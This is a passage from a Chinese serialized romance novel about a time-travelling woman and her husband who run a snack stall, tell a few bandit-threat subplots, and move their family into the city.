祁晟道:“咱们先试一试,生意好,便继续做下去。” 陆鸢点了点头:“东西都买了,只能如此了。” 回去时,顺便绕道去了西市,买了一个竹子编的大漏勺,还有一个石臼。 是回到家中陆鸢就开始做料汁。 陆鸢也不知道比例是多少,把香料全部炒香后,除了芝麻外,都让祁晟分开来帮她捣成粉。 有个人帮衬,轻松多了。 祁晟臂力好,也极有耐心,逐一帮她把香料捣成粉,却没有半点怨言。 因是手捣的香料,不是很细腻,但也可以用了。 陆鸢逐一尝了尝这些香料的味道后,才凭着感觉来调配,一份有辣味的,一份是不辣的。 调好了香料,陆鸢便开始把水豆腐切成一小块一小块。 天气冷,陆鸢都会熬好一坛子猪油备用,所以她用小锅装了新的猪油。 等油烧至没有油泡后,她才用竹编漏勺盛着豆腐下油锅。 炸至金黄,她捞起放一会后,又多复炸一遍,最后才捞起。 沥一会油后,才放进盆中。 舀进两勺酱油和少许盐,再撒进香料和芝麻,还有蒜蓉,继而在上头淋上热油,一股香味瞬间飘散了出来。 她拌了拌,便端着油炸豆腐回屋,忙催促在编藤编的祁晟:“你别编了,快来给我试一试。” 祁晟坐上了桌子,在她期盼的目光之下,夹起了一块油炸豆腐。 豆腐外皮入口微酥,香味一时在口腔中蔓延开。 祁晟诧异地看向她,说:“虽豆腐里边味淡了一些,但料汁搭配得极好,色香味都俱全了。” 陆鸢问:“那是行,还是不行?” 祁晟点了头,中肯道:“可以出摊。” 陆鸢嘴角顿时上扬,她也开始尝了一小块。 入口微麻微辣,香料和芝麻搭配,很是香浓,一点都不淡。 这吃着有些像不臭版的臭豆腐。 她琢磨着要不要也加入酸豆角和酸萝卜一块拌着吃,这样吃着就不容易腻,而且这样搭着,也算是新鲜吃食了。 祁晟问她:“可你要卖多少钱一份?” 陆鸢道了声“等等”,她转身去把册子拿了过来,磨了些墨水后,就开始算了起来。 豆腐若是自己做的话,一文钱都不用。 这香料和豆腐顶多算两文钱一份,还有摊位费和油耗费也算两文。 这成本就要四文钱了,算到这里,陆鸢眉头皱了起来。 祁晟见她皱眉,便看向她所写,也能看得出来个大概。 “成本就已经四文了,加上损耗,起码得卖七文一份。” 陆鸢不确定道:“会有人花七文钱买这么一份油炸豆腐吗?” 祁晟道:“不试一试又怎么知道?” 陆鸢的热情因为这价格而有些消退,但香料都已经配了,那就先试一试。 因着其他摊子也做了油条,且生意大不如前了,所以双日晚间做油条的面,陆鸢做少了一半。 做豆乳的豆子多加了两斤,她要自制豆腐。 豆腐她还真看过别人是怎么做的,所以做起来很容易。 她做得不多,就只做了两斤豆子的豆腐。 最后得出来的豆腐,她让祁晟大概掂量了一下,差不多有七斤重。 这两斤豆子十二文钱,七斤重的豆腐,起码能做二十来份油炸豆腐。 果然,这豆制品小吃,成本就是低。高的成本都在佐料里了。 差不多要出摊了,陆鸢才想起招牌的事。 她忙剪了一块长条布,磨好了墨,让祁晟给题字。 她道:“就写苏记小吃。” 祁晟瞧着笔墨和布料,问她:“你从未见过我写字,怎么能确定我的字就一定好看?” 陆鸢不以为然道:“那也总比我的字好看吧?” 祁晟心忖这倒是事实。 他提了笔,在布料上提上了“苏记小吃”四字。 陆鸢凑近看了一眼,字体工整有力,虽然没有龙飞凤舞,但瞧着很舒服,看得出来是下过工分练字的。 她道:“我就说嘛,你人都长得这般好看,字怎么可能会丑。” 祁晟瞧她:“那你可要学?” 陆鸢想都没有想就拒绝了:“不要,我可以吃生活的苦,但我吃不来学习的苦。” 祁晟:“可你这字着实需要练一练。” 陆鸢一想,她繁体字确实是短板,确实得认一认,正好祁晟就可以教她。 “那等得空了,你再教我,现在先出摊。” 祁晟点了头。 他先把搬桌椅出去,陆鸢则在题好字的旗帜两头都缝上套口。 缝好后,再把竹棍穿过去。 等到摊子外,让祁晟在挂灯笼的竹竿上绑上去,如此就成了他们的招牌。 做好招牌后,陆鸢也开始把东西搬出摊子外。 等人多起来后,陆鸢便先炸了一份豆腐,然后放好佐料,热油一淋,滋滋作响,香味顿时四溢,引得路人停驻。 最后再放了些许切好的酸萝卜和酸豆角进去一块拌。 陆鸢趁着有人围观,忙招呼:“油炸香豆腐,又麻又辣,最适合在冬日吃,诸位要不要尝一尝?” 有人问:“多少钱一份?” 陆鸢笑道:“七文钱一份。” 那人道:“贵了贵了。” 陆鸢拿了签子递给他:“我这用了十种香料做的料汁,自是要卖贵一些,客人你先尝一尝,若是不喜欢吃,或者觉着不好吃,也可以不买。” 不用钱也可以试吃,便也没再拒绝,便挑了一块豆腐来尝。 其他人见有试吃的,也都凑了过来。 一份十几块炸豆腐,没一会儿就试吃完了。 十几个试吃的,倒是有两个人点了。 有人开始买了,就是一个好的开头。 第72章 陆鸢的豆腐准备得不多, 拢共也就二十二份,还让人免费试了两三份,差不多收摊的时候,也没有剩的了。 天气越发地冷, 太晚了, 夜市也没什么人, 所以他们也会提前一个时辰收摊。 提前一个时辰收摊,也就是亥时正, 这个点对于陆鸢这个现代人来说,还早, 不算熬夜。 回到家中, 陆鸢例行泡脚,算账。 这油炸香豆腐在有试吃的情况下, 卖出了十九份。 每份挣三文钱, 也有五十七文。 豆乳和油条因天气, 竞争的关系, 收入少于上一次夜市。 扣除杂七杂八成本, 大概也就只有七十八文钱的利润。 陆鸢在本子上自己制作的表格记账。 她在标有夜市收益利润的对应行中写上一百三十五文。 夜市加上早市总收益,二百一十八文。 等墨迹干了, 她才阖上自己的账本。 祁晟见她收起账本,才停下手里的藤编, 问她:“油炸香豆腐的买卖可以做下去吗?” 陆鸢不确定的道:“要是每次出摊, 都能维持卖出去十五份,也还是可以做的, 大钱赚不了,但小钱还是可以继续挣的。” 说着,她看了眼他编制的那一小堆小篮子, 问:“这些打算什么时候拿去卖了?” 祁晟应:“今日收摊早,就明早吧,这卖篮子也不用打下手,是以我自己去就成。” 陆鸢:“你确定你自己可以?” 祁晟见她怀疑自己,不由地笑了,反问:“你怎么就觉得我不可以?” 陆鸢眨了眨眼,后知后觉地反应了过来,说:“照顾人照顾习惯了,一下子没适应过来。” 虽然祁晟双目已经恢复得能自己过活了,但还真没让他自己出过摊子。 她想了想,他瞎眼时,都勉强能自己照顾自己了,如今也没有太大的问题了,就是简单的近视和散光,还有什么可需担心的? 陆鸢躺了下来,道:“那你自己去吧。” 翌日辰时,陆鸢起来时,祁晟已经不在榻上了。 她赖了一会床,起床出门后,一眼望尽整个院子,也没找到祁晟的身影,她想应该是出摊去了。 祁晟能文能武,虽然未必够得上文武状元的级别,但做这小摊小贩会不会太浪费了? 陆鸢胡思乱想了一会,便去厨房掀开了锅盖,里边温着一碗肉粥。 烧了些温水洗漱后,端出肉粥出来,复而拿出装了酸豆角和酸萝卜的两个坛子,各舀了一小勺放到粥里头。 这朝代太平,小吃产业也格外繁荣,竞争自然也激烈。 别说旁的,就这酸豆角和酸萝卜,味道也不比她以前吃过的差。 吃完了朝食,趁着今日得空,她也就把这小屋都收拾了一遍。 收拾着屋子,没察觉时间流逝,不知不觉间,日头都已经到正中了。 她瞧了眼天色,暗地嘀咕祁晟怎么还没回来后,便洗手做羹。 这正搅着饭,防止黏底时,就听到院子门推开的声音,她侧身扭头看向外头。 只见祁晟拿着一根扁担和一个看着轻便的背篓进院子,她也没看见有剩的篮子。 她诧异地问:“带出去的篮子全买完了?” 祁晟放下扁担和背篓,走到水缸前舀水洗手,应道:“都卖完了。” 陆鸢惊喜道:“生意竟这么好?!” 祁晟:“孩子和一些年轻妇人都凑过来买,也就都卖完了。” 陆鸢闻言,心道这有一部分肯定是冲着他这张脸来的。 果然,长得好看就是能当饭吃。 祁晟转身从背篓拿了东西就走到厨房门口,把手中的三个小盒子递给了她。 陆鸢看着面前的三个盒子,愣了一下,问:“这是什么?” 祁晟笑了笑:“你打开后,不就知道了。” 陆鸢明白是礼物,眼神顿时亮了起来。 她的双手有些湿润,便往身上擦了擦手,期待地接过了三个盒子。 她打开了第一个盒子,是一对玉绿色的耳铛。第二个盒子装的是一小盒妃红色的口脂,最后一支妃红色花翠绿叶子的绒花簪子。 陆鸢看完了礼物,满脸笑意。 收到礼物,谁能不高兴? 只是,祁晟为什么忽然给她买这些东西? 陆鸢琢磨来琢磨去,恍然想起前几日那几个舞娘来喝豆乳时,揶揄她不修边幅。 这些话,祁晟大概是听了进去,所以这些天他一有空就做藤编,就为了卖钱给她买这些。 陆鸢笑盈盈地抬起眼看着他,道:“谢谢。” 祁晟见她笑得欢快,也很是愉悦,道:“夫妻间,不用这么客套。” 陆鸢望着礼物,心里头说没有半分感动,自然是假的。 她把盒子反手放到了灶台上,蓦地上前抱住他。 同床共枕多日,且也不止相拥一回两回了,祁晟只一息惊讶之后,便抬起手抱住她,下颚微微搭在她发顶之上。 这才刚抱上手不过三息,就被推开了。 陆鸢兴冲冲地道:“你看着火,我回屋子试试。” 说着,拿起几个锦盒就出了院子。 祁晟双臂都还做环状,他低垂视线瞧了眼自己落空了的怀抱。 有些没反应过来。 陆鸢跑回到屋子里头,似乎想到了什么,扒拉着门框,探出头问他:“你就只买了我的礼物吗?” 祁晟暗暗呼出了一息,转头应她:“有祖母的,也有春花秋花的。” 陆鸢讶异道:“买了这么多东西,你那些藤编到底卖了多少钱?” 这一盒口脂,怎么样都要几十文钱,就这三样东西,没一百文钱肯定是买不下来的。 祁晟应:“五文钱一个,卖出去了三十八个。” 陆鸢杏眸圆睁:“你这买卖比我做小食还挣钱?!” 五文钱一个,三十八个就有一百九十文了。 祁晟默了一下,道:“钱花完了,还花了一些今早带出门的,你可会生气?” 陆鸢摇头:“这都是你挣的,家里的钱财也是你我一块挣的,自然能支配。” 他闷声不吭干活,给自己这么个惊喜,她肯定不能扫兴。 扫兴一次,以后就算发达了,也不会再给她这种惊喜了。 在不愁吃穿的情况下,适当的娱乐花销,能提供情绪价值,没有什么可苛责的。 陆鸢好奇道:“我先试一试这些,一会再给我瞅瞅给老太太和孩子们的礼物。” 她缩回了屋中,拿出老太太给她买的铜镜,然后把简单的发髻拆散,花点心思编了几股辫子,再盘成中高发髻,然后再把簪花插进发髻之中,继而戴上耳铛。 耳朵是打有耳洞的,一直都是用树枝梗子串着,以免堵塞。 戴上耳铛后,她便用指腹沾上胭脂,涂抹在唇上。 陆鸢没穿前,也是个爱美的姑娘。 只是医院规定不能化妆,不能佩戴耳饰,所以也只能是休息时间装扮装扮。 如今来到这个时代也没条件装扮,清汤寡水了这么多天,现在终于人模人样了,她看着镜子都笑了。 只是看着看着,镜子的模样陌生得很,她笑意也淡了。 她把镜子倒扣后,起身出了屋子。 “祁晟祁晟,你看,好看吗?” 祁晟转头看去,就见她站在廊下,笑意盈盈地晃了晃脑袋,耳铛也跟着她的动作摇晃。 齿如瓠犀,巧笑倩兮,甚是灵动。 她的笑容,让人心情也跟随着愉悦。 在她的身上,祁晟感受到了勃勃生机,也感觉到了鲜活。 似乎每一日都充满着生机,充满着趣味。 “很好看。”他说。 陆鸢笑意更加灿烂。 她走了过来,问:“你给老太太和两个孩子买的礼物呢,快给我也瞅瞅。” 祁晟道:“在背篓里头。” 陆鸢走到背篓前,往里看去,两只布老虎还有两个拨浪鼓。 这不用想也知道是给两个孩子的礼物,只是没想到他也这么用心地买了两样。 背篓里还有一个打磨得很圆滑的木枕头和三个的汤婆子。 陆鸢嘴角咧得更开。 他竟连这点也想到了。 买了这么多东西,也难怪不仅把挣的都花了,还花了些旁的。 陆鸢把东西都搬进了屋中,放好后才出来,说:“这宅子地方太小了,放不下太多杂物,咱们等后天得空了,就把多余的桌子,还有这些搬到新宅去吧。” 祁晟点了点头:“行。” 陆鸢想了想,又问:“那啥时候回村把人接到城里?” 祁晟琢磨几息后,应:“明早我去问问赶牛车的鲁大,从广康城到围山村往返一趟要多少银钱,确定好回去的日子后,再寻人传个口信回去,让祖母他们提前收拾好行李。” 翌日,鲁大送了别家的货后,便赶着牛车过来帮他们把摆摊的物件运到东市。 祁晟便顺道问了广康城往返围山村的价钱。 围山村是哪,鲁大不大了解,可说到安平镇就知晓了。 鲁大道:“现在广康城外不太平,牛车马车都不敢轻易出去,更别说这路途还远。倒也不是说没人接这生意,只是路途不太平,租车都涨了价,若不是顺路的话,这整租一辆牛车,没三百文,估计是没人肯走的。” “郎君娘子若不缺银钱的话,可以租一辆马车,往来都不用两个时辰,比牛车快了一半不止,而且也是四五百文。” 祁晟和陆鸢两两对视了一眼,她微微摇头,他明白了她的意思,便道:“那我们先考虑考虑。” 鲁大赶着牛车,继续道:“虽说咱们县丞剿匪是好事,但那些穷凶极恶的山贼悍匪本来就不是善茬,你越剿匪,他不仅不怕,反倒越发嚣张地挑衅。” “这不,今早我从城外送菜进城时,就听说有村子被抢了,妇人被抢走,还死了不少男人,光是听说,都让人心里打颤。” 听到有村子被抢,陆鸢蓦地抓住了祁晟的手,脸上露出了惊忧色。 祁晟反手握着了她的手后,安抚地轻拍了拍,他问鲁大:“可知是哪里的村子?” 鲁大道:“好像叫什么杨村。” 不是围山村。 可便不是围山村,陆鸢也没有半分的庆幸。 毕竟,是真真切切的有人丢了性命。 况且,这一回的平安无事,谁又能确定下回,下下回,那些山匪贼寇会不会抢掠围山村。 第73章 摆上早市后, 陆鸢边打开桌子,边与祁晟商量是到底是请牛车还是马车回去。 商量过后,二人一致觉得觉得该请马车回去接人。 马车虽然贵,但往返快, 老人和小孩也不用受那么多的罪。况且外边不太平, 快点回来, 也不用担惊受怕那么久。 祁晟道:“等会儿我去趟西市,问问家具什么时候才能做好, 到时再确定回去的时间。” 确定日子前,得先去瞧瞧家具做成什么样了, 总不能把人接进城了, 有房子却还得出去住小栈。 陆鸢应:“正好,我也有了新的想法。” 祁晟不解地问:“什么新想法?” 陆鸢道:“刚到城里, 应当也没有什么杂物, 倒座房可以先给春花和秋花住。等孩子大一点时, 再换大点的宅子。” 她想把那间屋子装扮成儿童房。 祁晟道:“先前不是说先和祖母一个屋子, 怎又改变主意了?” 陆鸢摆着长板凳, 头也没抬,与他说:“孩子虽然还小, 但还是得有点隐私空间的。” 祁晟闻言,微微挑眉。 隐私空间, 他倒是第一次听说这个词, 还是用在两个加起来还没十岁的孩子身上。 祁晟也没多嘴询问,只道:“你想如何安排都行。” 人流渐少, 陆鸢便去了一趟西市。 询问家具何时可以做好的同时,也把自己的要求与木匠说了。 把其中一张床的床脚锯短一半,弄成矮床。 然后多定制了一张带着两个小抽屉的矮桌子, 然后再把倒座房的尺寸给到木匠,让他做些板子铺地上。 倒座房就似她和祁晟现在住的屋子大小,床底也不用铺,所以也不用过多的木板铺地。 天冷的时候,就算不出门,平日两个孩子也可以在屋子里头,在地上铺上席子玩耍。 多做这些,得另加四百多文。 陆鸢咬了咬牙,应了。 先前的家具是差不多快做好了,原本两日就能做好,但她提了这么些要求,全部弄完得四日。 陆鸢说清楚后,便回东市找祁晟。 才出西市,到东市口,就听到哒哒的马蹄急促的声,还有人高呼“避让”的声音,她连忙避开站到路边。 不一会,就见县丞骑着大马,领着一行人策马往城门口的方向浩浩荡荡而去。 陆鸢望着策马而去的一行人,愁上眉梢。 若是没有猜错,这县丞应该是为了那柳杨村的事而去的。 今日早市,不少人议论山贼土匪强抢村子的事,也就知道了那遭祸的村子叫柳杨村。 好些男人被杀,一些妇人和小孩都被贼寇所掳,今早就有人送了信来,向公署索要赎金。 陆鸢瞧得出来,只山匪贼寇明着要赎金,暗着是在挑衅,同时也是威胁。 威胁公署,若是继续剿匪,他们会更加过分,而这柳杨村只是一个开头。 难怪了,先前那么多官员剿匪,最后都是不了了之了。 这些山贼土匪这般心狠手辣,他们也担不了这么大的责任。 她听祁晟提过,这些山贼土匪平日里虽然只劫一些过路富商富户,却不会动平民老百姓,可一等到粮食的收获季节就会下山来抢粮抢人。 就好似是圈养一样,一养肥了,便开始收割。 长期以来的侵扰,每到粮食收获的季节,都人心惶惶。 若是不剿匪,长此以往,只会越发猖狂,因此而死的人也会更多。 陆鸢也担惊受怕。 再说祁晟便估计也是四日后回围山村接人,正遇上县丞剿匪的时候,她心里直发慌的。 可若是不接,她和祁晟也睡不了安心觉。 陆鸢闷闷不乐地回了摊位,与祁晟说了见到县丞出城的事。 祁晟默了默,道:“四日后我就回去把祖母和孩子接进城。” 旁的事,他亦没有那么大的本事解决。 收摊回去后,吃完中食,他们去车行预定回去的马车,同时也想询问最近有没有车夫经过安平镇,好传口信回去,但这几日都没有人经过。 见此,他们俩也只能让驿卒送信到安平镇的有间食肆,等刘家三郎送菜去食肆的时候,就能传信回去。 四日时间,眨眼而过。 一早,定好的马车就到了家门外。 陆鸢把祁晟送出门,叮嘱:“接到人就早点回来,别拖太晚。” 祁晟点了点头:“晓得了。” 陆鸢递给了他一个篮子,说:“三个汤婆子都在里边了,路上会冷,老太太和两个孩子身子弱,你让她们在路上用。里边还有一些包子,你回去的时候可以吃,返回来的时候也可以吃。” 祁晟好笑道:“你今日一大早爬起来,就是为了买这些个包子?” 陆鸢嘟囔道:“说得好似我平日没试过一大早起来似的。” 祁晟笑了笑:“我是怕你冷着,若是你早说是要去早市买包子,让我去不就成了?” 陆鸢:“你今日还要奔波呢,还是养精蓄锐的为好。” 这路上不太平,她肯定得让他休息好。 确定今日回去接人后,这几日的夜市,在提前一个时辰收摊的基础下还要再早半个时辰,亥时一到就收摊。 祁晟点了点头,说:“你回吧,外边冷。” 马车等在铺子前头,还得穿过一条巷子回去。 陆鸢:“我看着你走了,我再回去。” 祁晟也就没有再劝,拿着篮子和先前带来城里的柴刀上了马车。 他怕车夫胡思乱想,便解释道:“道上不大太平,我便带上防身用的。” 车夫点头道:“理解理解,若不是为生活所迫,这段时日我也不会赶车。” 随着马车驶去,陆鸢望着其渐行渐远后,双手合十祈祷能顺顺利利地把人接到城里。 陆鸢回了家中,小半个时辰后出门去东市买菜到新家去,顺道去把孩子们的屋子再收拾收拾。 家具昨日下午送到的,急着出摊,也没怎么收拾。 她与祁晟说好了,等他们入城后,就径直去新家,不用再来这边了。 到了东市后,陆鸢买了一只鸡后,多花五文钱让人帮忙宰杀。再买两斤羊肉和一根甘蔗,打算做个羊肉汤。 羊肉温补,冬日喝羊肉汤,身子也能暖和。 冬日没什么青菜可以挑选,就只有菘菜,她买了几棵菘菜,打算今日用些羊肉汤烫青菜和豆皮。 近来一直做豆乳,也做豆腐,她也攒了两三斤的豆皮。 她还琢磨着等过些日子,多人做油条后,就不做了,那会豆皮攒得够多了,也可以做些古法辣片呢。 现在冬日,豆乳也可以解腻解辣,等天气暖和了,她也可以尝试着做些饮子。 吃完了重口味的小吃,肯定得喝饮子。 这都是之后要干的事,现在也不用这么急着去想。 陆鸢买了菜后就直接去了新家。 昨日她和祁晟都没有出早市,早早就过来收掇了,所以今日一来就干干净净的,瞧着就很舒服。 陆鸢把菜放到厨房,便开始收拾几间屋子。 每间屋子都多了一张新被褥,从村子里带来的旧被褥,则给老太太和孩子做垫被。 最让陆鸢费心思的,是两个孩子的屋子。 地上铺上一张草席,靠墙的桌子上摆了祁晟给买的布老虎和拨浪鼓,还有两个杯子。 小矮床的床沿多一排七分长的凭栏,晚上也不用担心孩子在睡觉的时候会摔。 周围都用较为轻薄的布料做了床帐子,也能防一些冷风。 床上有陆鸢给做的两个小软枕,也有颜色柔和被子。 屋子虽然小,却是非常的温馨。 春花秋花看到这个屋子,肯定会很高兴。 虽说她现在还不能把这两个孩子视如己出,但她会尽自己所能给到她们最好的照顾。 两个孩子依赖着她,她何曾不依赖着两个孩子,依赖着祁晟和老太太。 在人生地不熟的陌生世界,在解决了吃穿住行的问题后,最可怕的是面对孤独。 陆鸢了解自己,她是个爱热闹的人,她忍受不了长时间的孤独一人。 但她也不敢为了不孤独,在短时间内嫁人成家。 若是一开始穿过来,只她一个人的话,她估计得好几年才会成家。 那么在这几年时间了,足够让爱热闹的她成为一个孤僻的闷葫芦,甚至也有可能因此患上抑郁症。 陆鸢收掇好几间屋子后,就进厨房开始做羊肉汤。 她妈最拿手的就是炖羊肉汤,她也学了一手。 和清汤做的羊肉汤不同,她做的羊肉汤会比较浓郁。 用姜蒜和香料炒香羊肉,期间放酱油和盐调味,香味溢出后,就倒入滚烫的热水,然后切了一节甘蔗进去一块炖。 炖上一个时辰,这羊肉才会软,老人和小孩也能吃得动。 羊肉汤快要炖好了,陆鸢瞧了眼天色。 这会应该也快未时了,祁晟是辰时初出发的,逾今已经有三个时辰了。 祁晟离开前,就说过三个时辰左右就会返回。 这马车行驶快,若不做停留,两个时辰就能往返。这一个时辰也够他们收拾,还有和村子里的人打招呼了,估摸着也应该快到了。 陆鸢坐不住,熄了火后,就出门去道上踱步等着了。 巷子里的邻里大娘见着她,便问:“可是新搬来的住户?” 陆鸢认出来了,是隔壁院子的大娘,她笑应:“今日刚搬进去,等家里人都到了,也收拾好了,再去拜访大娘。” 大娘笑问:“家里人不在城里?” 陆鸢正点了头,就听见马车的声响,她伸长脖子望去。 不一会,就见一辆青顶马车绕进街道。 陆鸢认出来了,那马车和车夫是早间来接祁晟的人。 她激动地与大娘道:“来了来了。” 她忙抬起手朝着车夫招手。 车夫往她的方向赶了过来,到了跟前,她指着巷子道:“就从这巷子进去,第五家的院子就是我们家。” 马车里的人听到声音,忙掀开帘子,露出了两个小脑袋。 “娘!” “娘!” 两道脆生生的声音,陆鸢听着心都化了。 陆鸢打了招呼,便快步领着马车入了巷子,停在了宅子跟前。 马夫跳下,陆鸢则开始把两个孩子逐一抱下,然后再扶着老太太。 老太太很是无精打采,也没与她打招呼。 陆鸢只当她是坐马车坐累了。 直到人都下了马车,却未见祁晟,陆鸢笑脸一滞,问那脸上没什么表情的老太太:“老太太,郎君呢?” 老太太瞧了她一眼,没说话,只一副愁容。 反倒车夫开了口,道:“咱们道上遇上了县丞,你家郎君被县丞征去领路了,县丞则派了几人把我们护送到了城门。” 车夫赶了七八年的马车,还是第一回让公署的人护送回来的。 陆鸢听见车夫的话,表情一滞,整个人一瞬间愣怔在了原地。 祁晟被县丞征去领路了? 领路,领什么路?! 第74章 车夫许是因为祁晟得县丞青睐, 所以特别殷勤地帮忙搬行李。 他们一家子便是举家搬来了城里,但因变卖了行李也不是特别多。 只被褥以及一些锅碗瓢盆。 东西搬进屋中后,陆鸢给车夫结清了车费。 老太太进了院子后,瞅了眼院子, 怀疑地看向她:“这院子真的只是用你们摆摊的银钱租的?” 陆鸢刚还因为祁晟的事情而失神, 现在又因老太太的这一句话回神, 顿时打起了十二分精神。 她理所应当的应:“当然了,不然哪来的银钱?” 她继而解释道:“回城里后, 我和郎君每日都会摆上早市,这早市加上夜市, 日均一日都能有一百多文, 这院子拢共也就是四百来文,就是加上这些个家具, 这小半个月挣的银钱全都没存下来。” 老太太毕竟也没想到他们之前归途遇上抢劫的事, 是以也没有过多怀疑钱财的由来。 因两个孩子都在, 陆鸢暂时没有询问到底发生了什么事。 两个孩子大抵因为老太太的沉闷情绪, 所以压抑了一路, 只在见到娘亲的时候,才兴高采烈了一小会。 陆鸢牵着她们的手到了倒座房, 在了门前,与她们说:“这以后就是你们姊妹俩的屋子。” 春花惊讶地看向她, 问:“娘, 是我和妹妹两个人单独住的屋子吗?” 陆鸢温笑着点了点头:“里边还有祁叔给你们准备的礼物。” 说着,她就打开了屋子的门。 一看到屋子里的摆设, 两个孩子的眼睛一瞬间亮了起来。 陆鸢与她们说:“把鞋子脱在这里,然后穿着袜子进去,也可以坐在地上玩耍。” 两个孩子都把鞋子脱在未铺地板的那一块地方上, 然后跑进屋子。 秋花步子走得稳了很多,稳稳当当地跑到了桌子前,拿起了布老虎。 而春花则惊喜地爬上床翻滚。 陆鸢瞧着她们的兴奋劲,与她们说:“我出去收拾一会,你们在屋子里玩一会。” 她把门轻掩。 窗户是打开的,有透光的窗帘遮掩,屋里还是亮的。 陆鸢转头看向坐在院子里的何老婆子,与她说:“老太太,你的屋子是这间。” 她指了指堂屋右侧的屋子,离两个孩子屋子近的那一间。 她和祁晟大多时候都在夜市居住,这家里平时就只有老太太和两个孩子在,自然是住得近一些,夜里也能听见一些动静。 陆鸢提着包裹,把何老婆子领进了屋子,然后才问:“郎君是怎么回事?县丞怎忽然让他领路?” 提起这事,老太太抬手捂住了眼睛,声音有些颤抖:“这都是些什么事,日子好不容易好过了,怎么就发生这种事?” 陆鸢抬手拍了拍老太太的肩膀,安慰道:“会平安无事的。” 之后根据老太太的叙说,陆鸢才知晓返程的半道上,道路被封锁了。 马车窄小,有一老两小,又装了许多家当,祁晟也就和车夫一同坐在外头。 恰好正面碰上县丞。 老太太也不明白县丞为何忽然让人把孙子喊了过去,更不知说了什么,不一会后,就有衙差过来传话,说县丞需得她家郎君领路,县丞则安排了几个人护送她们回城。 说完了经过,老太太狐疑地看着她,说:“你们是不是有什么事瞒着我?” 说着,又自言自语的道:“不对劲,那县丞怎会无端端的认识晟哥儿,还让晟哥儿帮忙领路?” 陆鸢忽然间也找不到什么没漏洞的借口,而且老太太也是个聪明人,肯定没那么容易糊弄过去。 陆鸢仅犹豫了几息,老太太就瞧出了不对劲。 “你们肯定是又事瞒着我!” 陆鸢开口:“老太太,事情是这样的……” 老太太立马抬起手,止住她的话头:“你这开头的话,我就知道你要编借口来糊弄我。” 陆鸢:…… 眼睛要不要这么的毒辣? 老太太:“与我说实话,别让我这个老婆子胡思乱想,你晓得的,我年纪大了,不宜多愁多思。” 陆鸢心道不宜多愁多思,但也不宜情绪大起大落。 踌躇了一下,她还是选择如实告知。 “就先前咱们上次从村里回城的路上,遇上山匪绑架过路人,郎君便追踪而去,最后领着县丞去了贼窝解救了被绑架的人,许是那时县丞知道郎君常年在山林间打猎,对山林了解,所以才会让郎君领路。” 何老婆子听到她的话,陡然扶着桌子在杌子上坐了下来,神情恍惚。 陆鸢道:“县丞只是让郎君领路,不会真让郎君剿匪的。” 她在安慰老太太,也在安慰自己。 静默了一会,她又道:“已经做好中食了,先吃一些吧。” 何老婆子摇了摇头:“我没胃口,你们吃吧。” 陆鸢默了一会,还是转身出了屋子。 她把两个孩子喊出了屋子,到了堂屋,给她们各盛了一碗羊肉汤,让她们先喝。 但两个孩子都没动,春花问:“娘不吃吗?曾祖母也不吃吗?还有祁叔怎么还没回来?” 秋花也看向陆鸢,开口:“娘,爹呢?” 陆鸢应道:“他有事情要忙,过两天才能回来。老太太有些不舒服,要歇一会,我一会再陪她吃一点。” 山林复杂,便是有人领路,山贼窝点也不是一日就能攻下的。 两个孩子也饿了,便捧起羊肉汤喝了起来。 喝的第一口,两个孩子的眼睛都亮了起来。 春花抬起头看向陆鸢,说:“娘,这个汤好好喝。” 陆鸢摸了摸她的脑袋,说:“锅里还有,不够喝我再给你们添一些,也别光着喝汤,也吃点肉。” 春花重重地点了点头。 虽然日子慢慢好过了起来,但这羊肉可不是底层人能负担得起的,因着肉猪饲养的环境,以及啥都吃,所以有些钱财的人,都嫌弃猪肉,一般吃的都是羊肉。 这猪肉一斤十来文钱,而羊肉则是数倍,陆鸢买的就要三十八文钱一斤。 她原以为祁晟也会一块回来,所以买了三斤。 如今两个孩子吃不了多少,老太太牙口也不大好,她一个人也吃不了那么多。 这寒冷天气,最久只能放到后日,希望后日祁晟就能平平安安的回来。 祁晟在第一回助县丞抓贼寇时,领着众人在山路崎岖,地形复杂山林中穿梭,就好似自家山头一样。 当时杨县丞就问了他,为什么能这么清楚记得这山涧的路。 祁晟就在那时解释自十二岁就常在山林行走,打猎改善家里条件,不管是熟悉的地方,还是陌生的山林,他只要走过一遍,就能记得返回的路。 这能力可不是人人都具备的,所以县丞才想招揽这年轻人。 可没想却被拒绝了,还说有眼疾。 杨县丞也派人去医馆询问,也证实了祁晟确实有眼疾,且刚恢复六成的眼力。 六成的眼力,分辨位置就如此精准,这无疑是个人才。 杨县丞还琢磨着之后如何威逼利诱招揽这人,没想他自己撞了上来,这可怪不得他了。 杨县丞把人留下来后,与他说道:“柳杨村被抢第二日,我就率人来柳杨村调查,知晓是附近叫猛虎寨的人做的恶事,但因这周围都是山,根本不知道是匿藏在何处,我们的人好不容易才勘查到他们所在的山,可也不了解地形,贸然派人围剿,不仅会打草惊蛇,也会损失严重,所以才会在此守株待兔,顺道等着护城官兵会合。” 祁晟问:“那大人要我做什么?” 杨县丞道:“山野贼寇警惕非常,你却能跟着他们到贼窝,便说明你善匿藏,追踪。且我上一回就注意到了,那贼寇躲藏的地方,易守难攻,且也容易哨守。你却如出入无人之境地离开,甚至领着我们众人在不被发现的情况下,一网打尽,你的能力只为一个贩夫走卒,着实可惜了。” 祁晟解释道:“我常年打猎,所以才会善匿藏,追踪。这些,许多猎户都能做到,再者我五识灵敏,是因昏睡了数月,也做了两个月的盲人,算不得什么。” 杨县丞挑眉:“你这就谦虚了。” “还有一点,我也挺欣赏你的。” 祁晟不解,表情带着些许疑惑。 杨县丞道:“我刚进公署任职,这公署里的大部分的衙役捕快在我跟前,可是连大气都不敢喘一下,你第一回见着我,却满脸平静。” 祁晟闻言,心忖自己连吃人的虎都对阵过了,还能怕你一个还有人性的人不成? 自然,他也没实诚到什么话都往外说。 祁晟面上不显,平静从容地应道:“大人是好官,又非穷凶极恶之人,我心里只有敬重,并无惧意。” 杨县丞轻一笑,倒是没有点破他的假意恭维。 “大人到底想让我做什么?”祁晟再次问道。 说了这么些,好似还没说要他做什么,但他也隐约猜到了。 杨县丞指着地图上的一处山峦,道:“你领两人假扮猎户入山,一日十二时辰内查清贼窝所在之处,不管成不成,十二个时辰内一定要回来,若事办成,必有重赏。” 第75章 两个年纪三十来岁的捕快被安排听从祁晟的指使, 一个时辰后乔装成猎户入山。 两个捕快看到让他们听命的郎君,是个比他们年轻许多,且面容俊美的男人时,眉头皱了起来。 杨县丞一眼就瞧出了他们眼底的不服, 道:“可别小看着小郎君。” 听见小郎君这个称呼, 祁晟微微蹙眉, 不怎么喜欢这个称呼。 杨县丞拍了拍身边祁晟的肩膀,手劲颇大, 